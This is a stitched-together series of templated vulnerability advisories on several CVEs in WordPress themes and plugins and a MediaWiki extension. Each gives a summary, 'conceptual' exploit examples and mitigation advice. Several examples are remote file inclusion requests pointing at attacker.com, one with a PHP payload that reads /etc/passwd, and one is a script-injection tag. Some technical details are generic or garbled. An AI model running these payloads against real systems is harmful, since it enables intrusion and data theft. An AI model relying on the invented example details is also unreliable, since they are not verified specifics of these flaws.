Author: Ameeba

Overview

The vulnerability CVE-2025-24769, documented in the Common Vulnerabilities and Exposures database, is an important security issue that affects the BZOTheme Zenny software. This issue, classified as a PHP Remote File Inclusion (RFI) vulnerability, involves an improper control of filename for Include/Require Statement in a PHP Program. This could potentially lead to a system compromise or data leakage, making it a serious concern for all users of the affected Zenny versions. As a cybersecurity professional, understanding this vulnerability and how to protect against it is crucial.

Vulnerability Summary

CVE ID: CVE-2025-24769
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BZOTheme Zenny | n/a through 1.7.5

How the Exploit Works

The PHP Remote File Inclusion vulnerability in BZOTheme Zenny exists due to improper control of filename for Include/Require Statement in PHP Program. An attacker can manipulate the file path specified in the “include” or “require” statements to reference a remote file, which is then executed in the context of the application. This can lead to unauthorized code execution, potentially compromising the system, or allowing data leakage.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited could be a PHP script that uses a variable from a user-supplied input to form a path for the “include” statement. If the input is not properly sanitized, an attacker could provide a path to a malicious script hosted on a remote server.

<?php
// The input is taken from the user without any sanitization
$file = $_GET['file'];
// The input is used directly in the include statement
include($file);
?>

In this example, an attacker could send a request like `http://target.example.com/vulnerable.php?file=http://attacker.com/malicious.php`, leading to execution of the malicious script on the target server.

Mitigation

Users of affected versions of BZOTheme Zenny are advised to apply the vendor patch to mitigate this vulnerability. If a patch is not available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. However, these are not long-term solutions and updating the software remains the most effective course of action.

Overview

In this post, we are going to delve into a particularly worrying vulnerability that affects the goalthemes Sofass, specifically versions up to 1.3.4. This vulnerability, identified as CVE-2025-24760, allows an attacker to perform PHP Local File Inclusion which can have grave implications for the security of your system. PHP Remote File Inclusion vulnerabilities occur when an application receives a path to a file that should be included and executes it, a dangerous action if the file is malicious. Considering the potential for system compromise or data leakage, understanding this vulnerability is crucial for systems administrators and security personnel alike.

Vulnerability Summary

CVE ID: CVE-2025-24760
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Sofass | Up to 1.3.4

How the Exploit Works

The root cause of this vulnerability is improper control of the filename for the ‘include’ or ‘require’ statement in the PHP program of Sofass. The software does not properly sanitize user-supplied input and thus, an attacker can manipulate the input to load a file from a remote server that contains malicious PHP code. Once this file is loaded and executed, the attacker gains the capability to execute arbitrary commands or scripts in the context of the server’s PHP environment.

Conceptual Example Code

Let’s consider a conceptual example to understand how this vulnerability might be exploited. The steps involve crafting a malicious PHP file, hosting it on a remote server, and then manipulating the ‘include’ or ‘require’ statement in the vulnerable application to load and execute this file.
The contents of a malicious PHP file (malicious_payload.php) might look like this:

<?php
echo shell_exec('cat /etc/passwd');
?>

This file, when executed, would display the contents of the server’s /etc/passwd file, which contains user account information.
The attack would then use a HTTP request to exploit the vulnerability:

GET /index.php?page=http://attacker.com/malicious_payload.php HTTP/1.1
Host: target.example.com

The ‘page’ parameter is manipulated to load the malicious PHP file from the attacker’s server. When the server processes this request, it includes the malicious file and executes the harmful code.

Mitigation

The best way to mitigate this vulnerability is to apply the vendor’s patch. For temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and block suspicious activities. Also, it is good practice to sanitize all user-supplied input and limit the use of the ‘include’ or ‘require’ statements to local files only.

Overview

In this post, we will explore the vulnerability CVE-2023-25998, a security issue found within the Samex – Clean, Minimal Shop WooCommerce WordPress Theme. This vulnerability, known as PHP Remote File Inclusion, affects the improper control of filename for the include/require statement in PHP programs. This vulnerability is particularly threatening due to its potential to lead to system compromise or data leakage. Any organization or individual using Samex WooCommerce WordPress Theme from any version up to 2.6 is at risk and should take immediate steps to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2023-25998
Severity: High (8.1, CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Samex – Clean, Minimal Shop WooCommerce WordPress Theme | Up to 2.6

How the Exploit Works

The vulnerability lies in the improper control of filename for include/require statement in PHP programs within the Samex WooCommerce WordPress Theme. In a typical PHP Remote File Inclusion (RFI) attack, an attacker might manipulate a PHP script to include a remote file with malicious code. This allows the attacker to execute the malicious code on the server. The execution could potentially compromise the system and lead to data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_code.txt HTTP/1.1
Host: vulnerable-website.com

In this example, the GET request is used to retrieve a PHP file from the server. If the server is vulnerable to PHP RFI, the attacker can supply a URL (`http://attacker.com/malicious_code.txt`) in place of a local file. If the server processes this request, it will include the remote file, which could contain malicious code. This code would then be executed on the server, potentially resulting in a system compromise or data leakage.

Recommended Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation strategy. Regular updates and careful monitoring of the system can help prevent potential exploits.

Overview

The CVE-2025-52818 vulnerability is a critical security flaw discovered in the Trusty Whistleblowing software. This vulnerability is of particular concern for all users of Trusty Whistleblowing, as it allows attackers to exploit incorrectly configured access control security levels, potentially leading to system compromise or data leakage. As an application meant to facilitate secure and anonymous reporting of misconduct within an organization, Trusty Whistleblowing is often privy to sensitive company information. Therefore, any vulnerability in this application should be taken quite seriously.

Vulnerability Summary

CVE ID: CVE-2025-52818
Severity: High (8.2 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Trusty Whistleblowing | n/a – 1.5.2

How the Exploit Works

The vulnerability exists due to insufficient authorization mechanisms in the Trusty Whistleblowing software. Essentially, the software fails to properly validate and enforce access controls on certain resources, which could be exploited by an attacker to gain unauthorized access to sensitive information or even to compromise the entire system. This is particularly risky given the nature of the information typically stored and processed by Trusty Whistleblowing.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. The attacker sends a specially crafted HTTP request to a vulnerable endpoint in the Trusty Whistleblowing application:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "{ 'action': 'dump_all_data' }" }

In this hypothetical example, the “malicious_payload” is a command instructing the Trusty Whistleblowing software to dump all data it has stored. Due to the missing authorization vulnerability, the application would fail to properly validate that the request came from an authorized source and execute the malicious command.

How to Mitigate the Vulnerability

To mitigate this vulnerability, users of Trusty Whistleblowing should apply the vendor-supplied patch as soon as possible. This patch addresses the missing authorization issue and ensures proper access control is enforced. In the absence of a viable patch, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block malicious requests targeting the vulnerability, providing a layer of security until the official patch can be applied.

Overview

In this post, we’ll delve into the details of a particularly severe vulnerability, CVE-2025-52817, that resides in the Abandoned Contact Form 7, a product of ZealousWeb. This vulnerability is of significant concern because it allows malicious actors to exploit incorrectly configured access control security levels, leading to potential system compromise and data leakage. Given the widespread use of contact forms on websites for user interaction, this vulnerability affects a broad user base, making it an urgent issue to address.

Vulnerability Summary

CVE ID: CVE-2025-52817
Severity: High (8.2 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

ZealousWeb Abandoned Contact Form 7 | All versions up to 2.0

How the Exploit Works

Due to missing authorization checks in the Abandoned Contact Form 7, an attacker can exploit the system by sending specially crafted requests to the system. As the system lacks sufficient access control measures, these requests are processed, allowing the attacker to bypass the system’s defenses. This, in turn, enables the attacker to gain unauthorized access to sensitive system resources, which can result in system compromise and potential data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that a malicious actor could use:

POST /abandoned_contact_form_7_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "Exploit command/Code here" }

Mitigation and Prevention

The best way to protect your system from this vulnerability is to apply the vendor patch as soon as it becomes available. If the patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help identify and block the malformed requests that exploit this vulnerability. Regularly updating security protocols and performing rigorous authorization checks can also help prevent similar vulnerabilities in the future.
In conclusion, while CVE-2025-52817 is a severe threat, by staying informed about the latest vulnerabilities and applying the appropriate mitigations, system administrators can effectively safeguard their systems against potential breaches.

Overview

In the ever-evolving landscape of cybersecurity, vulnerabilities present in various software tools can leave systems open to potential attacks. One such vulnerability has been identified in the TabberNeue MediaWiki extension, a tool widely used to create tabs in wiki interfaces. This vulnerability, designated as CVE-2025-53093, can allow arbitrary HTML to be inserted into the DOM, leading to potential system compromise or data leakage. Given the severity of the issue, it is critical for users and system administrators to understand the implications of this vulnerability and take immediate steps to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-53093
Severity: Critical (CVSS 8.6)
Attack Vector: Web
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TabberNeue MediaWiki extension | 3.0.0 to 3.1.0

How the Exploit Works

The exploit works by taking advantage of a security flaw in the TabberNeue MediaWiki extension. Specifically, any user can insert arbitrary HTML into the Document Object Model (DOM) by injecting a payload into any permitted attribute of the “ tag. This allows an attacker to potentially execute malicious scripts or commands, gain unauthorized access to sensitive data, or even compromise the system entirely.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. An attacker might craft a malicious payload and insert it into a permitted attribute of the `` tag, as shown below:

<tabber attr="..."><script>malicious code here</script></tabber>

This payload, when processed by the TabberNeue MediaWiki extension, would result in the arbitrary HTML being inserted into the DOM, potentially executing the malicious script and leading to a successful exploit.

Mitigation and Guidance

To mitigate the risk of this vulnerability, users and system administrators should immediately apply the vendor patch released with version 3.1.1 of the TabberNeue MediaWiki extension. In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, it is strongly recommended to apply the vendor patch as soon as feasible to ensure the long-term security of the system.